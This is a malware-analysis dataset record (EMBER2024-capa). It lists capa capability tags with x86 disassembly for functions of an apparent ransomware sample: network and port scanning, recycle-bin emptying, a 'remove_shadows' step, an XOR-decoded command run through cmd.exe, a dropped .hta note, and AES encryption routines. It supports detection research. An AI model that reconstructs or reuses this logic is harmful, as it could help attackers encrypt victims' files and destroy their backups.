joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402d80
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x480734]
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
test eax, eax
jne 0x402db0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042f23c
mov esp, ebp
pop ebp
ret
mov eax, dword [eax]
xor bl, bl
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x18], eax
nop dword [eax]
push 0x28
push 0x40
mov byte [ebp - 0x15], bl
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x402e94
mov eax, dword [ebp - 0x18]
push 1
push 0
push 0
push 6
push 1
push 2
mov dword [esi + 0x18], eax
mov byte [esi + 0x1c], 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x402e03
push esi
call edi
jmp 0x402e89
mov ecx, 0x10
lea eax, [ebp - 0x14]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402e10
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
mov dword [ebp - 0x10], ecx
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x402e46
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
push esi
call edi
jmp 0x402e89
push 0
push 2
push dword [0x48073c]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
jne 0x402e6b
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
push esi
call edi
jmp 0x402e89
lea ecx, [esi + 0x20]
mov dword [ecx], 0
mov eax, dword [0x480744]
mov dword [esi + 0x24], eax
mov eax, dword [0x480744]
mov dword [eax], esi
mov dword [0x480744], ecx
inc bl
cmp bl, 0xff
jb 0x402dc0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [edx + 4]
mov eax, dword [edx + 8]
test ecx, ecx
je 0x402ea6
mov dword [ecx + 8], eax
jmp 0x402eab
mov dword [0x480738], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 4]
push edx
mov dword [ecx], eax
call fcn.0043410b
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.0042f23c
mov esp, ebp
pop ebp
ret
Function at 0x403230
Capabilities:
Create tcp socket
Create thread
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x2b0]
xor ebx, ebx
push eax
push 0x202
xor edi, edi
mov dword [0x480748], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x480714
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push edi
push edi
push edi
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4033ea
push edi
push edi
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x118], 0x25a207b9
push eax
push 4
push 0x480710
push 0x10
lea eax, [ebp - 0x118]
mov dword [ebp - 0x114], 0x4660ddf3
push eax
push 0xc8000006
push esi
mov dword [ebp - 0x110], 0xe576e98e
mov dword [ebp - 0x10c], 0x3e06748c
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x4033ea
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jne 0x4033ea
push pe_nt_image_headers32
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x403314
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x48070c], eax
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x48073c], eax
test eax, eax
jne 0x403335
push str.Cant_create_io_completion_port
jmp 0x4033ef
mov ecx, 0x480734
mov dword [0x480734], ebx
mov dword [0x480738], 0x480734
mov dword [0x48072c], ebx
mov dword [0x480730], 0x48072c
mov dword [0x480740], ebx
mov dword [0x480744], 0x480740
call fcn.00402550
test eax, eax
jne 0x40337a
push str.Cant_get_subnets
jmp 0x4033ef
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402910
push 0
push 0
call esi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40339f
push str.Cant_create_host_thread
jmp 0x4033ef
push 0
push 0
push 0
push 0x402fe0
push 0
push 0
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x4033be
push str.Cant_create_port_scan_thread
jmp 0x4033ef
push 0
push 1
push 0
push dword [0x48073c]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push edi
call esi
or ecx, 0xffffffff
call fcn.00402ca0
push 0xffffffffffffffff
push ebx
call esi
jmp 0x403402
push str.Cant_get_ConnectEx
push 0
push 0x463
push dword [0x4806e8]
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x480714
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, dword [0x48073c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40341f
push eax
call esi
test ebx, ebx
je 0x403426
push ebx
call esi
test edi, edi
je 0x40342d
push edi
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042f23c
mov esp, ebp
pop ebp
ret
Function at 0x405000
Capabilities:
Empty the recycle bin
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4480ad
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00403bc0
push 1
test al, al
jne 0x40503a
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
call esi
push 2
call esi
push 4
call esi
push 1
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [0x4802b0], 0
call fcn.0042ab00
call fcn.00404ea0
call fcn.00405870
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push str.remove_shadows
push 0
push 0x463
push dword [0x4806e8]
call esi
call fcn.00406130
push str.IOCP_initialize
push 0
push 0x463
push dword [0x4806e8]
call esi
call fcn.00407260
push ecx
lea ecx, [ebp - 0x18]
call fcn.0040aa90
mov dword [ebp - 4], 0
cmp byte [0x4806df], 0
je 0x4050e6
sub esp, 0x18
mov ecx, esp
push 0x47d204
call fcn.004112e0
call fcn.00405790
add esp, 0x18
cmp byte [0x4806e0], 0
je 0x405106
sub esp, 0x18
mov ecx, esp
push 0x47d21c
call fcn.004112e0
call fcn.00405790
add esp, 0x18
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x4806e5], 0
je 0x4051cd
push 0x20
call fcn.0042f6ab
add esp, 4
mov ecx, eax
call fcn.00402c80
mov esi, eax
push str.__C:_test
mov ecx, esi
call fcn.00403780
push esi
mov word [esi + 0x18], 0
mov dword [esi + 0x1c], 0x200
call fcn.00408180
call fcn.00405c80
test al, al
je 0x40515e
call fcn.004055e0
cmp byte [0x4806e1], 0
je 0x40517e
sub esp, 0x18
mov ecx, esp
push 0x47d234
call fcn.004112e0
call fcn.00405790
add esp, 0x18
cmp byte [0x4806e2], 0
je 0x40519e
sub esp, 0x18
mov ecx, esp
push 0x47d24c
call fcn.004112e0
call fcn.00405790
add esp, 0x18
cmp byte [0x4806db], 0
je 0x4051ac
call fcn.00405d00
cmp byte [0x4806dd], 0
je 0x4051ba
call fcn.00405b20
lea ecx, [ebp - 0x18]
call fcn.00412010
test al, al
je 0x4051db
call fcn.0040ff10
jmp 0x4051db
cmp byte [0x4806da], 0
je 0x4051db
call fcn.004051f0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x405460
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4480ed
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x47c018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov ecx, 0x104
call fcn.00409d10
mov dword [ebp - 0x1c], eax
mov eax, dword [0x47faac]
mov ecx, dword [ebp - 0x1c]
mov dword [eax*4 + 0x47fab0], ecx
push 0x20
call fcn.0042f6ab
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4054c9
mov ecx, dword [ebp - 0x14]
call fcn.00402c80
mov dword [ebp - 0x18], eax
jmp 0x4054d0
mov dword [ebp - 0x18], 0
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x10], edx
lea ecx, [ebp + 8]
call fcn.00411e70
mov dword [ebp - 0x20], eax
mov eax, dword [0x47faac]
mov ecx, dword [eax*4 + 0x47fab0]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00411aa0
mov edx, dword [ebp - 0x10]
mov byte [edx + 0x18], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x1c], 0
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 0x19], 1
mov edx, dword [0x4802b0]
lea eax, [edx*4 + 0x47feb0]
push eax
push 4
mov ecx, dword [ebp - 0x10]
push ecx
push fcn.00408180
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x28], eax
mov edx, dword [0x4802b0]
mov eax, dword [ebp - 0x28]
mov dword [edx*4 + 0x4802b8], eax
mov ecx, dword [0x4802b0]
mov edx, dword [ecx*4 + 0x4802b8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x4802b0]
mov ecx, dword [eax*4 + 0x47feb0]
xor edx, edx
mov eax, dword [0x4802b0]
shl eax, 4
mov esi, 8
imul esi, esi, 0
mov dword [eax + esi + 0x47ea98], ecx
mov dword [eax + esi + 0x47ea9c], edx
mov ecx, dword [0x4802b0]
add ecx, 1
mov dword [0x4802b0], ecx
mov edx, dword [0x47faac]
add edx, 1
mov dword [0x47faac], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00403450
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4055e0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x60], 0
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x40561d
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push ebx
push esi
push edi
push 0x44
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.004310e0
xor eax, eax
mov dword [ebp - 0x5c], 0x44
mov word [ebp - 0x2c], ax
mov edi, 1
mov eax, 3
mov ebx, 2
sub eax, 0x47ca70
add esp, 0xc
mov dword [ebp - 0x64], eax
xor esi, esi
mov eax, 4
sub edi, 0x47ca70
sub ebx, 0x47ca70
xorps xmm0, xmm0
sub eax, 0x47ca70
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 0x68], eax
mov eax, 0xaaaaaaab
mul esi
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
lea ecx, [edi + 0x47ca70]
add ecx, esi
movzx eax, byte [eax + str.12210111111610599117115]
xor byte [esi + 0x47ca70], al
mov eax, 0xaaaaaaab
mul ecx
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
lea ecx, [ebx + 0x47ca70]
add ecx, esi
movzx eax, byte [eax + 0x456129]
xor byte [esi + 0x47ca71], al
mov eax, 0xaaaaaaab
mul ecx
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
movzx eax, byte [eax + 0x45612a]
xor byte [esi + 0x47ca72], al
mov eax, dword [ebp - 0x64]
lea ecx, [eax + 0x47ca70]
mov eax, 0xaaaaaaab
add ecx, esi
mul ecx
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
movzx eax, byte [eax + 0x45612b]
xor byte [esi + str.FRPUX_], al
mov eax, dword [ebp - 0x68]
lea ecx, [eax + 0x47ca70]
mov eax, 0xaaaaaaab
add ecx, esi
mul ecx
mov eax, esi
shr edx, 4
lea ecx, [edx + edx*2]
shl ecx, 3
sub eax, ecx
movzx eax, byte [eax + 0x45612c]
xor byte [esi + 0x47ca74], al
add esi, 5
cmp esi, 0x91
jl 0x405676
pop edi
pop esi
pop ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push 0x47ca70
push 0x45594c
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.0042f23c
mov esp, ebp
pop ebp
ret
Function at 0x405790
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x60], 0
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x4057cd
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0x44
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.004310e0
add esp, 0xc
mov dword [ebp - 0x5c], 0x44
lea ecx, [ebp - 0x18]
xor eax, eax
cmp dword [ebp + 0x1c], 0x10
xorps xmm0, xmm0
mov word [ebp - 0x2c], ax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x5c]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push eax
push str.C:WindowsSystem32cmd.exe
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x40584f
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405845
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405862
push ecx
push edx
call fcn.0042f49b
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.0042f23c
mov esp, ebp
pop ebp
ret
call fcn.004340af
int3
Function at 0x405b20
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x10c]
push 0x455a70
push eax
call esi
cmp dword [0x47cfe8], 0x10
mov eax, 0x47cfd4
cmovae eax, dword [0x47cfd4]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push str..hta
lea eax, [ebp - 0x10c]
push eax
call esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405bd7
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042f23c
mov esp, ebp
pop ebp
ret
cmp dword [0x47d17c], 0x10
mov eax, 0x47d168
cmovae eax, dword [0x47d168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [0x47d17c], 0x10
lea edx, [ebp - 0x110]
push 0
push edx
mov ecx, 0x47d168
cmovae ecx, dword [0x47d168]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x4767a0]
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x14c]
push eax
mov dword [ebp - 0x14c], 0x3c
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
movups xmmword [ebp - 0x138], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0042f23c
mov esp, ebp
pop ebp
ret
Function at 0x407260
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x14]
lea esi, [eax + eax]
push esi
push 0
push 3
push 0x47faa0
call dword [0x47ea70]
test esi, esi
je 0x4072bb
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
nop dword [eax]
push 0
push 0
push dword [0x47faa0]
push 0x4073a0
push 0
push 0
call edi
sub esi, 1
jne 0x4072a0
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0042f23c
mov esp, ebp
pop ebp
ret

Function at 0x4091c0
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0x510
push 0
mov byte [ebp - 4], 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x409311
push 0xe0c
push 0
call esi
push eax
call ebx
mov ebx, eax
test ebx, ebx
je 0x409303
push 0xe0c
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [edi + 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor eax, eax
lea ecx, [ebx + 0x600]
push pe_nt_image_headers32
mov word [ebx + 6], ax
lea eax, [ebx + 0x400]
push eax
lea eax, [ebx + 0x604]
push eax
lea eax, [ebx + 0x608]
push eax
push ecx
push pe_nt_image_headers32
lea eax, [ebx + 0x200]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x4092f3
mov ecx, dword [ebp - 8]
movzx edi, word [edi + 0x406]
mov eax, dword [ebx + 0x600]
xor edi, 8
push edi
movzx esi, word [ecx + 0x404]
movzx edx, word [ecx + 0x402]
xor esi, 7
movzx ecx, word [ecx + 0x400]
xor edx, eax
mov edi, dword [ebp - 8]
xor ecx, eax
push esi
xor edx, 5
lea eax, [ebp + 8]
xor ecx, 6
cmp dword [ebp + 0x1c], 8
push edx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push str._s_x_x_x_x.goodgame
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
push 0
push 0x4000002
push 1
push 0
push 3
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 4]
cmp eax, 0x50
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 1
movzx ecx, cl
cmove ecx, edx
mov dword [ebp - 4], ecx
push ebx
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call ebx
jmp 0x409309
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push 0
call esi
push eax
call ebx
mov ecx, dword [ebp + 0x1c]
pop edi
pop esi
pop ebx
cmp ecx, 8
jb 0x40934a
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x409340
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409351
push ecx
push edx
call fcn.0042f49b
add esp, 8
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
call fcn.004340af
int3
Function at 0x40aa90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44850d
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 4
call fcn.0042f6ab
mov dword [ebp - 0x14], eax
mov dword [eax], 0x42bc50
lea edi, [esi + 4]
mov dword [ebp - 4], 0
push edi
push 0
push eax
push 0x40bd40
push 0
push 0
call fcn.004342be
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x40ab10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042f23c
mov esp, ebp
pop ebp
ret 4
push 6
mov dword [edi], 0
call fcn.0042e498
int3

Function at 0x40c480
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448820
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x47c018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0042f6ab
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0042cc41
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412030
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov eax, dword [ebx + 8]
movaps xmm6, xmm0
movaps xmm7, xmm1
mov dword [esp + 4], ebp
movups xmm0, xmmword [eax + 0x50]
aesenc xmm0, xmmword [eax + 0x60]
movups xmm2, xmmword [eax + 0x60]
movups xmm3, xmmword [eax + 0x30]
movups xmm5, xmmword [eax + 0x70]
movups xmmword [eax + 0x60], xmm0
movups xmm0, xmmword [eax + 0x40]
aesenc xmm0, xmmword [eax + 0x50]
movups xmmword [eax + 0x50], xmm0
movups xmm0, xmmword [eax + 0x20]
aesenc xmm0, xmm3
aesenc xmm3, xmmword [eax + 0x40]
movups xmmword [eax + 0x30], xmm0
pxor xmm3, xmm7
movups xmm0, xmmword [eax + 0x10]
aesenc xmm0, xmmword [eax + 0x20]
aesenc xmm2, xmm5
aesenc xmm5, xmmword [eax]
movups xmmword [eax + 0x20], xmm0
pxor xmm5, xmm6
movups xmm0, xmmword [eax]
aesenc xmm0, xmmword [eax + 0x10]
movups xmmword [eax + 0x70], xmm2
movups xmmword [eax + 0x10], xmm0
movups xmmword [eax], xmm5
movups xmmword [eax + 0x40], xmm3
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x412810
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x47c018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0xc]
xorps xmm0, xmm0
push esi
mov esi, dword [ebx + 8]
push edi
push esi
mov dword [ebp - 0x34], eax
mov edi, ecx
push edx
lea eax, [ebp - 0x30]
movaps xmmword [ebp - 0x30], xmm0
push eax
movaps xmmword [ebp - 0x20], xmm0
call fcn.00430b60
mov eax, dword [ebp - 0x34]
add esp, 0xc
movaps xmm2, xmmword [ebp - 0x20]
movups xmm3, xmmword [eax + 0x20]
pxor xmm2, xmmword [eax + 0x50]
movups xmm0, xmmword [eax + 0x60]
pxor xmm2, xmm3
pand xmm0, xmmword [eax + 0x70]
pand xmm3, xmmword [eax + 0x30]
pxor xmm2, xmm0
movups xmm0, xmmword [ebp - 0x30]
movups xmmword [ebp - 0x20], xmm2
pxor xmm0, xmmword [eax + 0x60]
pxor xmm0, xmmword [eax + 0x10]
mov eax, 0x20
sub eax, esi
pxor xmm0, xmm3
push eax
lea eax, [ebp - 0x30]
add eax, esi
push 0
push eax
movups xmmword [ebp - 0x30], xmm0
call fcn.004310e0
add esp, 0xc
lea eax, [ebp - 0x30]
push esi
push eax
push edi
call fcn.00430b60
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
movups xmm5, xmmword [eax + 0x70]
movups xmm0, xmmword [eax + 0x60]
movups xmm3, xmmword [eax + 0x30]
aesenc xmm0, xmm5
aesenc xmm5, xmmword [eax]
movups xmmword [eax + 0x70], xmm0
movups xmm0, xmmword [eax + 0x50]
aesenc xmm0, xmmword [eax + 0x60]
pxor xmm5, xmmword [ebp - 0x30]
movups xmmword [eax + 0x60], xmm0
movups xmm0, xmmword [eax + 0x40]
aesenc xmm0, xmmword [eax + 0x50]
movups xmmword [eax + 0x50], xmm0
movups xmm0, xmmword [eax + 0x20]
aesenc xmm0, xmm3
aesenc xmm3, xmmword [eax + 0x40]
pxor xmm3, xmmword [ebp - 0x20]
movups xmmword [eax + 0x30], xmm0
movups xmm0, xmmword [eax + 0x10]
aesenc xmm0, xmmword [eax + 0x20]
movups xmmword [eax + 0x20], xmm0
movups xmm0, xmmword [eax]
aesenc xmm0, xmmword [eax + 0x10]
pop edi
movups xmmword [eax + 0x10], xmm0
movups xmmword [eax], xmm5
movups xmmword [eax + 0x40], xmm3
pop esi
call fcn.0042f23c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret